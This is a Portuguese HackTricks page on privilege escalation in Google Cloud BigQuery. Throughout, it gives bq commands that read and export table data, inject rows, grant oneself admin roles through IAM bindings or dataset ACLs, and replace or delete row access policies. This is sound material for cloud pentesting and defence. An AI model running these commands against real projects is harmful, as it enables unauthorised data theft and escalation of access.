GCP - BigQuery Privesc

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

BigQuery

Para mais informações sobre BigQuery, confira:

GCP - Bigquery Enum

Ler Tabela

Ao ler as informações armazenadas dentro de uma tabela do BigQuery, pode ser possível encontrar informações sensíveis. Para acessar as informações são necessárias as permissões bigquery.tables.get, bigquery.jobs.create e bigquery.tables.getData:

Ler dados da tabela BigQuery ```bash bq head . bq query --nouse_legacy_sql 'SELECT * FROM `..` LIMIT 1000' ```

Exportar dados

Esta é outra forma de acessar os dados. Exporte-os para um bucket do Cloud Storage e faça o download dos arquivos com as informações.
Para executar esta ação são necessárias as seguintes permissões: bigquery.tables.export, bigquery.jobs.create e storage.objects.create.

Export BigQuery table to Cloud Storage ```bash bq extract .
"gs:///table*.csv" ```

Inserir dados

Pode ser possível introduzir certos dados confiáveis em uma tabela BigQuery para abusar de uma vulnerabilidade em outro lugar. Isso pode ser feito facilmente com as permissões bigquery.tables.get, bigquery.tables.updateData e bigquery.jobs.create:

Inserir dados na tabela BigQuery ```bash # Via query bq query --nouse_legacy_sql 'INSERT INTO `..` (rank, refresh_date, dma_name, dma_id, term, week, score) VALUES (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2019-10-13", 62), (22, "2023-12-28", "Baltimore MD", 512, "Ms", "2020-05-24", 67)'

Via insert param

bq insert dataset.table /tmp/mydata.json

</details>

### `bigquery.datasets.setIamPolicy`

Um atacante poderia abusar desse privilégio para **conceder a si mesmo permissões adicionais** sobre um conjunto de dados do BigQuery:

<details>
<summary>Definir política IAM em um conjunto de dados do BigQuery</summary>
```bash
# For this you also need bigquery.tables.getIamPolicy
bq add-iam-policy-binding \
--member='user:<email>' \
--role='roles/bigquery.admin' \
<proj>:<dataset>

# use the set-iam-policy if you don't have bigquery.tables.getIamPolicy

bigquery.datasets.update, (bigquery.datasets.get)

Apenas esta permissão permite atualizar seu acesso a um dataset do BigQuery modificando as ACLs que indicam quem pode acessá‑lo:

Atualizar ACLs do dataset do BigQuery ```bash # Download current permissions, reqires bigquery.datasets.get bq show --format=prettyjson : > acl.json ## Give permissions to the desired user bq update --source acl.json : ## Read it with bq head $PROJECT_ID:.
```

bigquery.tables.setIamPolicy

Um atacante poderia abusar desse privilégio para conceder a si mesmo permissões adicionais sobre uma tabela BigQuery:

Definir política IAM na tabela BigQuery ```bash # For this you also need bigquery.tables.setIamPolicy bq add-iam-policy-binding \ --member='user:' \ --role='roles/bigquery.admin' \ :.

use the set-iam-policy if you don’t have bigquery.tables.setIamPolicy

</details>

### `bigquery.rowAccessPolicies.update`, `bigquery.rowAccessPolicies.setIamPolicy`, `bigquery.tables.getData`, `bigquery.jobs.create`

De acordo com a documentação, com as permissões mencionadas é possível **atualizar uma row policy.**\
No entanto, **usando o cli `bq`** você precisa de mais permissões: **`bigquery.rowAccessPolicies.create`**, **`bigquery.tables.get`**.

<details>
<summary>Create or replace row access policy</summary>
```bash
bq query --nouse_legacy_sql 'CREATE OR REPLACE ROW ACCESS POLICY <filter_id> ON `<proj>.<dataset-name>.<table-name>` GRANT TO ("<user:user@email.xyz>") FILTER USING (term = "Cfba");' # A example filter was used

É possível encontrar o filter ID na saída da enumeração de row policies. Exemplo:

Listar row access policies ```bash bq ls --row_access_policies :.

Id Filter Predicate Grantees Creation Time Last Modified Time


apac_filter term = “Cfba” user:asd@hacktricks.xyz 21 Jan 23:32:09 21 Jan 23:32:09

</details>

Se você tiver **`bigquery.rowAccessPolicies.delete`** em vez de `bigquery.rowAccessPolicies.update` você também pode simplesmente excluir a política:

<details>
<summary>Excluir políticas de acesso por linha</summary>
```bash
# Remove one
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICY <policy_id> ON `<proj>.<dataset-name>.<table-name>`;'

# Remove all (if it's the last row policy you need to use this
bq query --nouse_legacy_sql 'DROP ALL ROW ACCESS POLICIES ON `<proj>.<dataset-name>.<table-name>`;'

Caution

Outra opção potencial para contornar row access policies seria simplesmente alterar o valor dos dados restritos. Se você só consegue ver quando term é Cfba, basta modificar todos os registros da tabela para que term = "Cfba". No entanto, isso é prevenido pelo bigquery.

Tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks